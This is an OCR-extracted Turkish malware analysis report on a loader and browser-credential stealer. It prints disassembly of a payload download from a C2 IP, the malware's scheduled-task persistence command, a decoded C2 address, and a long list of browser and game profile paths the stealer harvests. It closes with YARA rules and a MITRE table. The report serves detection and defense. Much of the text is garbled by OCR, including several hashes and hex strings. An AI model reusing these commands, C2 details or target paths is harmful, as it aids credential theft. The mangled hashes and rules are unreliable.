xer esi,esi ; esi:"http://5.42.92.211;/"
mov edx,ALAFFD27 ; edx:L"Software'\valve\’Steam”
push 4
inc esi ; esi:"http://5.42.92.211/"
pop ecx
mov dword ptr ss:|febp-s],esi
call 400000.3C2CBC ; eax:Reglpenkey
eall eax
test eax,eax ; eax:L"SteamPath”
jne 400000.3CBI1C

Sekil 24 - Steam Kontrol

400000, 003C7 6FE
Epush ecx ; ecx:L"Software'\Microsofti\\OTTice"
push esi ; esi:"http://5.42.92.211/"
lea eax,dword ptr ss:|[ebp-4f]
mov esi,ecx ; esi:"http://5.42.92.211,/", ecx:L"Software\‘Microsoft\\Office"
push eax
push esi ; esi:"http://5.42.92.211,/"

pop ecx ; ecx:L"Software’\“Microsoft'\office"
£all 400000.3C2CBC

call =ax

Test eax,eax

jne 400000, 3C773B

Sekil 25 -'Office Kontrol
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Tam bu iglemlerden sonra zararli, sunucuya done istegi génderdikten sonra kalicilik
asamasina gegcer ve loader istegi ile kalicilik asamasinda kullanacadi zararli bir dosya
indirir ve calistirir.

FF7424 1C push dword ptr ss:[fesp+icl

8BS 424 18 mov edx,dword ptr ss:|flesp+1&] [esp+18]: "loader

8B4C24 14 mov_ecx,dword ptr ss:lfesp+14]

E8 2578FFFF £all 400000.3BF780 req, res

59 pop ecx

FF7424 10 push dword ptr ss:|[fesp+10f

8BFO mov esi,eax esi:"1792bco9f4foesf17710b!

8975 00 mov dword ptr ss:|febpll,esi L oKhryn |1]|TvgQs

E8 BEDFFEFF £all 400000.3B56F0

85F6 test esi,esi esi:"1792bco9f4f0esf17710b570be3c8e95 2c15a8cF6d13c099c47242b9e6aaleac”

Sekil 26 - Loader Istegi

53 push ebx
8D4424 14 lea eax,dword ptr ss:flesp+14] eax:WriteFile, [esp+14]:L"C:\\Users\\aktss'\AppData\'Local \Temp''ilgynHSAseLILzh. exe
BA A50953C5 mov edx,C55809A5
50 push eax eax:WriteFile
FF7424 20 push dword ptr ss:[fesp+zoff
B8BCD mov ecx,ebp
57 push edi
56 push esi
E8 SF7SFFFF €all 400000.3C2CBC
FFDO gall eax eax:writeFile
85C0 test eax,eax eax:WriteFile
Sekil 27 - Indirilen Zararli Dosya
SO push eax eax:CreateProcessw
55 push ebp
57 push edi edi:L"C:\\Users\\aktss\\AppData‘\‘Locall\Temp''ilg¥nHSAseLILzh. exe"
E8 67BCFFFF call 400000.3C2CBC
FFDO call eax eax:CreateProcessw
33D2 xor edx,edx
BBCA mov ecx,edx
85C0 test eax,eax eax:CreateProcessw
~ OF84 3B030000 je 400000.3C739E

Sekil 28 - Zararli Dosya Stireci

Son olarak zararl, cmd ile schtasks komutunu kullanarak indirdigi dosyayi her 15
dakikada bir caligtirmak Uzere zamanlamaktadir.

push eax eax:CreateProcessw

56 push esi esi:L"/c schtasks /create /F /sc minute /mo 15 /tr \"C:\\Users\\aktss\\Apppata\\Local\\Temp\\ilgvnHsaseLILzh. exe\"
57 push edi edi: L Ci\\Wi \\system32'\cmd. exe
E8 29BAFFFF €all 400000.3C2CBC
FFDO call eax eax:CreateProcessw
85C0 Test eax,eax eax:CreateProcessw
v 0F85 F5000000 jne_400000.3C7392

Sekil 29 - Schtasks

Zararlinin olusturdugu schtasks komutu:

/c schtasks /create /F /sc minute /mo 15 /tr
"C:\Users\aktss\AppData\Local\Temp\bECo04jfHXOEF1vV.exe" /tn
"\WindowsAppPool\ilgYnHSaseLILzh "
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bECo04jfHXOEF1vV.exe

Adi Awny.exe
MD5 48ABFE3B0ODD54D912074E8AC952237CB
SHA2 | FOA59D35F89B98DDE9BCABO596DAD0OBA5270B3509011A3EEOF751A

56 724BEC0829
Dosya | PE32/EXE
Tart

Dinamik Analiz

G 4

y
| y Uke | Zararli |
Bas| ——————¢ Kontrolint »— Evet Zararh Stringlerin Fonksiyonl
5o N Kurulmasi g 4 o
| \gagti mi? Alinmasi |
v
\ |

Sisteme Kurulu
Sistemde bulunan Anti:ilrﬁslatln o Tarayici Bilgilerinin Sistem Bilgilerinin
dillerin alinmasi ¢ ¢

edilmesi Toplanmasi Alinmasi

- Toplanan Verilerin
Yakll Programlann C€2€ Sunucuya
Listesinin Alinmasi e e »

Sekil 30 - bECo4jfHXOEF1VV.exe Akis

A

Program akisinin ana hatlari;

1. Zararli iglem 6ncesi kontrollerin yapilmasi,
2. Zararli iglemin gerceklestiriimesi,
3. Toplanan bilgilerin C2 sunucusuna génderilmesi,

olarak siralanmaktadir.
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Zararlinin ilk olarak uUlke kontrolu gergeklestirildigi ve eger karsilastirilan Ulkeler ile
eslesme olursa kendini kapattigi gozlemlenmektedir.

currentUICulture = Culturelnfo.

i}

tains( (currentUICulture != } ? currentUICulture.

Sekil 31 — Ulke Kontrolii

Sekil 32 — Kehdini Kapatma Fonksiyonu

Kontrol edilen Ulke listesi:

e Armenia

e Belarus

e Kazakhstan
e Kyrgyzstan

e Moldova

e Tajikistan

e Uzbekistan

e Ukraine

e Russia




IP adresinin decrypt edildigi tespit edilmigtir.

input = - (b64);

result = SystemNetFtpControlStreamGetPathOptionR.FromBase64(SystemNetFtplontrolStreamGetPathOptionR.Xor (input, stringKey));

100% ~

@ stringKey
input
@ flag

result

Sekil 33 - Runtime IP Decrypt

HBBFGS4zNicoMiVRKxkHVCKGIFI+FgYe
From Base64

Alphabet
A-Za-ZB-9+/= Remove nan-alphabet chars

[ strict mode

XOR
Key Scheme .
Reflags UTF8 ~ Standard [ Null preserving

From Base&4

Alphabet

A-Za-z0-9+/= Remove non-alphabet chars
o 32 = 1

[ strict mode Output

77.91.124.55:19071

Sekil 34 - IP Decrypt
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Sifresi ¢dzllen 77.91.124.55:19071 adresine Authorization bagslidi ile belirli bir token
degeri eklenerek baglanti kurulmaya galisildigi gozlemlenmektedir.

. = 5ecl
contextChannel tVa tTcpBinding
+ address + "/"), En nt Add

ertificatevalidati

ntextChannel
operationConte ope contextChannel);

.CreateHeader ("Authorization”, "nsl", wvalue);
-Add(header);

Sekil 35 - Token Kontrolii

Zararli C2 Sunucusu ile iletisime gecip donen degerleri settings adli objeye
vermektedir: Settings adli obje kontrol edilecek dosyalari barindirmaktadir:

Sekil 36 - Settings

sim
4 @ settings
)b
ap

@ [
=
@ [
@ [
@
@ [
=
=

Sekil 37 - Settings Objesi

Kontrol edilecek dosya listesi:

Dosya Yolu

%USERPROFILE%\AppData\Local\Battle.net
%USERPROFILE%\AppData\Local\Chromium\User Data
%USERPROFILE%\AppData\Local\Google\Chrome\User Data
%USERPROFILE%,AppData,Local,Google)x86=,Chrome,User Data
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%USERPROFILE%\AppData\Roaming\Opera Software\
%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data
%USERPROFILE%\AppData\Local\lridium\User Data
%USERPROFILE%\AppData\Local\7Star\7Star\User Data
%USERPROFILE%\AppData\Local\CentBrowser\User Data
%USERPROFILE%\AppData\Local\Chedot\User Data
%USERPROFILE%\AppData\Local\Vivaldi\User Data
%USERPROFILE%\AppData\Local\Kometa\User Data
%USERPROFILE%\AppData\Local\Elements Browser\User Data
%USERPRQOFILE%\AppData\Local\Epic Privacy Browser\User Data
%USERPROFILE%\AppData\Local\uCozMedia\Uran\User Data
%USERPROFILE%\AppData\Lecal\Fenrir
Inc\SleipnirS\setting\modules\ChromiumViewer
%USERPROFILE%\AppData\Local\CatalinaGroup\Citrio\User Data
%USERPROFILE%\AppData\Local\Coowon\Coowon\User Data
%USERPROFILE%\AppData\Local\liebao\User Data
%USERPROFILE%\AppData\Local\QIP Surf\User Data
%USERPROEILE%\AppData\Local\Orbitum\User Data
%USERPROFILE%\AppData\Local\Comodo\Dragon\User Data
%USERPROFILE%\AppData\Local\Amigo\User\User Data
%USERPROFILE%\AppData\Local\Torch\User Data
%USERPROFILE%\AppData\Local\Yandex\YandexBrowser\User Data
%USERPROFILE%\AppData\Local\Comodo\User Data
%USERPROFILE%\AppData\Local\360Browser\Browser\User Data
%USERPROFILE%\AppData\Local\Maxthon3\User Data
%USERPROFILE%\AppData\Local\K-Melon\User Data
%USERPROFILE%\AppData\Local\Sputnik\Sputnik\User Data
%USERPROFILE%\AppData\Local\Nichrome\User Data
%USERPROFILE%\AppData\Local\CocCoc\Browser\User Data
%USERPROFILE%\AppData\LocalUran\User Data
%USERPROFILE%\AppData\Local\Chromodo\User Data
%USERPROFILE%\AppData\Local\Mail. Ru\Atom\User Data
%USERPROFILE%\AppData\Local\BraveSoftware\Brave-Browser\User Data
%USERPROFILE%\AppData\Local\Microsoft\Edge\User Data
%USERPROFILE%\AppData\Local\NVIDIA Corporation\NVIDIA GeForce
Experience

%USERPROFILE%\AppData\Local\Steam
%USERPROFILE%\AppData\Local\CryptoTab Browser\User Data
%USERPROFILE%\AppData\Roaming\Mozilla\Firefox
%USERPROFILE%\AppData\Roaming\Waterfox
%USERPROFILE%\AppData\Roaming\K-Meleon
%USERPROFILE%\AppData\Roaming\Comodo\iceDragon
%USERPROFILE%\AppData\Roaming\8pecxstudios\Cyberfox
%USERPROFILE%\AppData\Roaming\NETGATE Technologies\BlackHaw
%USERPROFILE%\AppData\Roaming\Moonchild Productions\Pale Moon
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Zararl aktivitenin yaruttlecegi donguye girilmekte ve sirasiyla zararh fonksiyonlar
¢agrilip alinan veriler yine sirasiyla C2 sunucusuna génderilmektedir.

(SystemNetSpnDict eCo stemNetSpnDict: alueCollectionGetEnumeratordy

systemietspnbictionaryValueCollectionGetEnumeratordy (connection, settings, ref result);

Sekil'38=Zararli Fonksiyon DongUisti

Sistem bilgilerinin-alinip.C2 sunucusuna goénderildigi tespit edilmistir.

4@ result

Yerererrererrerrerer

Sekil 39 - Sistem Bilgisi

Zararlinin sisteme kurulu antiviris programlarini kontrol ettigi gorulmektedir. Daha
sonra buldugu verileri C2 sunucusuna gondermektedir.

onnection.Id18((list != null) ? list.Tolist<string>() : null);|
hElementf.

(connection, settings, result);

vitchElementf

dandi

Sekil 40 - Antiviriis Kontrolii
4
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Zararl, sistemde kurulu tarayici listesini almakta ve C2 sunucusuna géndermektedir.

id = settings.
(did)

(settings.
(settings.

systemDiagnostics
itchElementf =

(connection, settimgs, result);

Sekil 41 - Tarayici Kontrolii

Zararl, sisteme ait ram, processor ve gpu bilgilerini alarak C2:sunucusuna
gondermektedir.

Sekil 42 - RAM, CPU, GPU Bilgileri

Zararlinin bilgisayarda kurulu program listesini ve process listesini aldigi ve C2
sunucusuna gonderildigi gorulmektedir.

Sekil 43 - Program Listesi
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emDia, itchElementf = connection. I
flag = systemDiagnosticsSwitchElementf == SystemDiagnosticsSwitchElementf.Id3;

(connection, settings, result);

dandi

Sekil 44 - Process Listesi

Son olarak sisteme yUklU dillerin.alindigr ve C2 sunucusuna goénderildigi tespit edildi.

connection, on a ordPr b r settings, result)

(connection, settings, result);

Sekil 45 - Dil Kontrolii

TUum bu islemlerinssonunda zararli kendini kapatmaktadir.




MysticStealer.exe YARA Kurali

import "hash"

rule mysticstealer

meta:

author = "ZAYOTEM"

description = "mysticstealer"”

first_date="18.09.2023"

report_date="14.10.2023"

strings:

$str1="C:\\Windows\\Microsoft. NET\\Framework\\v4.0.30319\\AppLaunch.exe"

$str2="Parker"

$str3="Event"

$str4="Jo-Man"

$disassl ={e9 69 al 3c 00 42 00 0f 57 c0 53 56 66 Of 13 45 90 66 Of 13 45 98}

$disass2 = {e9 ba 90 ff dO 68 b6 47 36 4f ff 35 00 32 44 00 e8 60 fd ff ff}

$disass3 = {e9 e7 e8 50 cf ff ff 8b 95 44 ff ff ff 85 d2 74 2f 8b 8d 4c}

condition:

hash.md5(0,filesize)=="43F1040BEB90E0054C1759028B5EAESE" or all of ($str*)

or all of ($disass*)




400000.exe YARA Kurah

import "hash"

rule 400000

meta:

author = "ZAYOTEM"

description = "400000"

strings:

$al = "gitis"

$a2 = "dddd, MMMM dd, yyyy"

$a3 = "<requestedExecutionLevel level="asInvoker' uiAccess="false"

$a4 = "ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijkimnopgrstuvwxyz0123456789+/"

$a5="

$a6 = "8.828d8m8"

condition:

hash.md5(0,filesize)=="d2c44de6b26bbf79cee8666cb0blacd6" or all of them




Awny.exe YARA Kurali

import "hash"

rule Awny

meta:

author="ZAYOTEM"

description = "redline stealer"

report_date="13.10.2023"

strings:

$al = "Awny"

$a2 = "Fps boost"

$a3 = "WM_MOUSEMOVE"

$a7 = "digicert.com"

$a8 ="15.9.1.22"

$a9 = "Enigma"

$al1l0 = {0OD 3E 6D 04 95 C5 19 4E B6 F4 E3 D8 45 97 F8 28}

$apil = "DownloadFile"

$api4 = "Sleep"

$api5 = "CreateDirectory"

condition:

hash.md5(0, filesize) == "48abfe3b0dd54d912074e8ac952237ch" or all of them
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MITRE ATTACK TABLE

Execution | Persistence Defense Evasion Credential | Discovery | Collectio | Command | Exfiltratio
Access n and n
Control
T1129 T1053 T1055 T1056 T1124 T1056 T1132.001 T1041
Shared Scheduled Process Injection Input System Input Standard | Exfiltration
Modules Task/Job Capture Time Capture Encoding Over C2
Discovery Channel
T1053 T1027 T1539 T1518.001 T1560 T1105
Schedule Obfuscated Files or |.-Steal Web Security Archive Ingress
d Information Session Software Collected Tool
Task/Job Cookie Discovery Data Transfer
T1569 T1140 T1555.003 T1012 T1114 T1095
System Deobfuscate/Decod | Credentials Query Email Non-
Services e Files.or from Web Registry Collection’| Applicatio
Information Browsers n Layer
Protocol
T1083 T1071
File and Applicatio
Directory n Layer
Discovery Protocol
T1082
System
Informatio
n Discovery
T1614
System
Location
Discovery
T1087
Account
Discovery
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Co6ziim Onerileri

Gulncel bir antiviris programi kullaniimaldir.

Kullanilan igletim sistemini guncel tutulmalidir.

Bilinmeyen e-postalarin ek dosyalari agiimamalidir.

Kripto hesaplarda var ise iki adimli dogrulama kullaniimalidir.

Parolalar bilgisayar icerisinde agik metin seklinde depolanmamalidir.
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Alper Aktas Linkedin

Tolga Yiimaz Linked

Tugba Nu edin



https://www.linkedin.com/in/ebubekirl/
https://www.linkedin.com/in/alperaktasm/
https://www.linkedin.com/in/tolga-ylmz/
https://www.linkedin.com/in/tugba-nur-can/

